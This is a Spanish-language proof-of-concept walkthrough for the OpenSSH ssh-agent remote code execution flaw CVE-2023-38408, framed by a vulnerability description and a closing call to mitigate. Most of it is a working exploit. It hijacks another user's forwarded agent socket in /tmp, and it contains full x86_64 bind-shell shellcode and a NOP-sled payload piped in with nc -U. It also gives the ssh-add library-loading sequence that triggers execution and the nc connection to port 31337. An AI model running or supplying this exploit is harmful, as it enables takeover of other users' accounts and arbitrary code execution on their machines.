
Toma de control de cuentas OpenSSH
Se encontró una vulnerabilidad en OpenSSH (antes de la versión 9.3p2). La funcionalidad PKCS#11 en el ssh-agent de OpenSSH tiene una ruta de búsqueda insuficientemente confiable, lo que conduce a la ejecución remota de código si un agente se reenvía a un sistema controlado por el atacante (el código en /usr/lib no es necesariamente seguro para cargarlo en ssh-agent). Esta falla permite a un atacante con control del socket del agente reenviado en el servidor y la capacidad de escribir en el sistema de archivos del host cliente ejecutar código arbitrario con los privilegios del usuario que ejecuta el ssh-agent.
En el ejemplo siguiente, podemos observar brevemente los pasos desde la exploración hasta comprometer al usuario alice.
Como se mencionó anteriormente, en este POC usaremos 2 usuarios conectados a un servidor a través de SSH. Para seguir los pasos a continuación, asumimos que los 2 usuarios ya tienen acceso al servidor (SSH).
echo /tmp/ssh-*/agent.*
export SSH_AUTH_SOCK=/tmp/ssh-NqLP6il36s/agent.3452
ssh-add -s /usr/lib/systemd/boot/efi/linuxx64.elf.stub
SHELLCODE=$'\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0\x4d\x31\xd2\x41\x52\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x7a\x69\x48\x89\xe6\x41\x50\x5f\x6a\x10\x5a\x6a\x31\x58\x0f\x05\x41\x50\x5f\x6a\x01\x5e\x6a\x32\x58\x0f\x05\x48\x89\xe6\x48\x31\xc9\xb1\x10\x51\x48\x89\xe2\x41\x50\x5f\x6a\x2b\x58\x0f\x05\x59\x4d\x31\xc9\x49\x89\xc1\x4c\x89\xcf\x48\x31\xf6\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05'
(perl -e 'print "\0\0\x27\xbf\x14\0\0\0\x10/usr/lib/modules\0\0\x27\xa6" . "\x90" x 10000'; echo -n "$SHELLCODE") | nc -U "$SSH_AUTH_SOCK"
Finalmente, presione Ctrl-C para detener la transferencia de netcat una vez que el shellcode se haya colocado exitosamente en la memoria del agente.
[!NOTE] Desencadenando SIGSEGV 💬
SIGSEGV es una señal conocida en los procesos de computadora que se emite >cuando ocurre una referencia de memoria no válida (violación de segmento). Al recibir la señal SIGSEGV, el kernel reconoce que se ha producido un acceso a memoria no válido y procede a invocar el manejador de señales personalizado en lugar de terminar el programa abruptamente. Al hacerlo, el atacante aprovecha la oportunidad para manipular la ejecución del programa y dirigirla hacia el código malicioso inyectado ubicado dentro del trineo NOP.
ssh-add -s /usr/lib/titan/libttcn3-rt2-dynamic.so
[Enter for passphrase]
ssh-add -s /usr/lib/x86_64-linux-gnu/libKF5SonnetUi.so.5.92.0
[Enter for passphrase]
ssh-add -s /usr/lib/x86_64-linux-gnu/libns3.35-wave.so.0.0.0
[Enter for passphrase]
nc localhost 31337
La vulnerabilidad afecta principalmente a los sistemas en los que se utiliza el SSH-agent de OpenSSH y la función de reenvío del agente está habilitada. Las organizaciones y personas que dependen de OpenSSH deben evaluar rápidamente sus configuraciones para determinar una posible exposición. Si su sistema cumple las condiciones mencionadas, es crucial tomar medidas inmediatas para mitigar el riesgo asociado con CVE-2023-38408.